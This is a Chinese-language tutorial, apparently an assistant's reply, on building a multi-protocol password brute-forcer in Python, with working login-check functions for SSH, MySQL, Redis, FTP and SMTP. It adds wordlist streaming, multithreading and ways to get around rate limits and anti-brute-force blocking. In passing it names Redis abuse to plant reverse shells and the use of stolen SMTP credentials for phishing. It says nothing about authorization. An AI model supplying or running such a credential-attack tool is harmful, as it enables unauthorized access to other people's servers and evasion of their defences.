结合您笔记的上下文(自动化攻击技术 协议爆破),利用 Python 原生或第三方库进行特定协议的口令爆破,是渗透测试中外围打点(Initial Access)的常规手段。

与底层 Socket 相比,使用特定协议的库(如 paramikopymysql)的优势在于:不需要手动去实现复杂的协议握手、加密协商或数据包重组,只需关注核心的认证逻辑与并发控制即可。

Python 自动化安全工具:多协议口令爆破开发实战

协议爆破(Protocol Bruteforcing)的核心逻辑高度一致:建立连接 提交凭据(账号/密码) 捕获特定异常以判断是否成功 资源释放。一个专业的爆破脚本,其工程质量不仅体现在协议覆盖面,更体现在对异常情况的精准捕捉与高并发处理能力上。

一、 核心协议爆破模块解析

在开发爆破引擎时,我们将每种协议的认证过程封装为独立的原子函数(Atomic Function)。以下是五大常见协议的实现细节:

1. SSH 协议爆破 (Port 22) - paramiko

SSH 是服务器管理的核心入口,也是爆破的重灾区。paramiko 是 Python 处理 SSH 的行业标准库。

  • 依赖安装pip install paramiko
  • 认证逻辑
    import paramiko
    
    def check_ssh(host, port, user, password):
        client = paramiko.SSHClient()
        # 必须设置自动添加主机密钥,否则未知主机会直接拒绝连接
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            # timeout 是连接超时,auth_timeout 是认证超时
            client.connect(hostname=host, port=port, username=user, password=password, timeout=3, auth_timeout=3)
            return True # 登录成功
        except paramiko.AuthenticationException:
            return False # 凭据错误 (核心判断)
        except paramiko.SSHException as e:
            # 常见于并发过高被目标主机的防爆破机制(如 Fail2Ban)拦截或连接重置
            # 实战中建议记录此类错误,并引入重试或延迟机制
            return None 
        finally:
            client.close()
    

2. MySQL 数据库爆破 (Port 3306) - pymysql

数据库通常作为内网横向移动的关键目标,极易存在弱口令(如 root:rootroot:123456)。

  • 依赖安装pip install pymysql

  • 认证逻辑

    import pymysql
    
    def check_mysql(host, port, user, password):
        try:
            # connect() 成功即代表认证通过
            conn = pymysql.connect(host=host, port=port, user=user, password=password, connect_timeout=3)
            conn.close()
            return True
        except pymysql.err.OperationalError as e:
            # 错误码 1045 代表 Access denied (密码错误)
            if e.args[0] == 1045:
                return False
            # 其他网络或服务异常
            return None
        except Exception:
            return None
    

3. Redis 缓存数据库爆破 (Port 6379) - redis

Redis 早期版本默认无密码且暴露公网,常被用于未授权访问直接写入计划任务反弹 Shell。较新版本即使配置了密码,也常常是弱口令。注意:Redis 的爆破速度极快,防范极弱。

  • 依赖安装pip install redis

  • 认证逻辑

    import redis
    
    def check_redis(host, port, password):
        try:
            # Redis 6.0 之前通常没有用户名,直接验证密码
            # 设置 socket_connect_timeout 避免长时间挂起
            r = redis.Redis(host=host, port=port, password=password, socket_connect_timeout=3)
            # 必须调用 ping() 才会真正发起网络交互并验证鉴权
            if r.ping():
                return True
        except redis.exceptions.AuthenticationError:
            return False # 密码错误
        except redis.exceptions.ConnectionError:
            return None # 端口关闭或网络异常
        finally:
            r.close()
    

4. FTP 文件传输协议 (Port 21) - 原生 ftplib

FTP 协议为明文传输。渗透测试中需重点关注**匿名登录(Anonymous Login)**以及常规的弱口令爆破。

  • 依赖安装:Python 内置,无需安装。

  • 认证逻辑

    import ftplib
    
    def check_ftp(host, port, user, password):
        ftp = ftplib.FTP()
        try:
            ftp.connect(host, port, timeout=3)
            # login 抛出异常代表失败,不抛出代表成功
            ftp.login(user, password)
            return True
        except ftplib.error_perm:
            # 530 Login incorrect.
            return False
        except Exception:
            # 连接超时或被主动拒绝
            return None
        finally:
            try:
                ftp.quit() # 优雅断开
            except:
                pass
    

5. SMTP 邮件传输协议 (Port 25/465/587) - 原生 smtplib

获取 SMTP 凭据后,不仅能用于信息收集(内部通讯录),更常用于钓鱼邮件的合法源伪造(社会工程学攻击)。

  • 依赖安装:Python 内置,无需安装。
  • 认证逻辑
    import smtplib
    
    def check_smtp(host, port, user, password):
        try:
            # 现代邮件服务器通常要求 SSL/TLS
            if port in [465]:
                server = smtplib.SMTP_SSL(host, port, timeout=3)
            else:
                server = smtplib.SMTP(host, port, timeout=3)
                server.starttls() # 升级为安全连接
    
            server.login(user, password)
            server.quit()
            return True
        except smtplib.SMTPAuthenticationError:
            # 认证失败 (常见返回码 535)
            return False
        except Exception:
             # 网络异常或 TLS 协商失败
            return None
    

二、 协议爆破引擎架构与进阶优化

掌握了上述认证函数后,要写出媲美 Hydra 或 Medusa 的高阶实战工具,还需在您的脚本中引入以下架构设计:

1. 字典处理与内存优化

当加载 GB 级别的超大字典(如 rockyou.txt)时,千万不要使用 readlines() 将其全部读入内存,这会导致 Python 进程 OOM(内存溢出)。应使用 生成器(Generator) 逐行读取:

def load_dict(file_path):
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            yield line.strip()

2. 高并发控制

单线程爆破毫无实战意义。必须使用 concurrent.futures 模块实现多线程并发。由于这些库内部都是 I/O 密集型操作(等待网络响应),多线程是最佳选择。

3. 连接异常与速率限制规避

在实战中,高频次的认证请求极易触发防火墙拦截(如目标主机的 SSH 连接数被耗尽,返回 Connection reset by peer)。

  • 盲目重试陷阱:如果不区分“凭据错误”和“网络阻断”,直接把网络异常当作鉴权失败,会漏报大量正确密码。
  • 优化方案:在捕获到非认证类的网络异常时(如上述代码中返回 None 的情况),应引入 time.sleep() 动态回退机制,降低爆破速率,并在超时后将该 (user, password) 重新放回任务队列等待重试。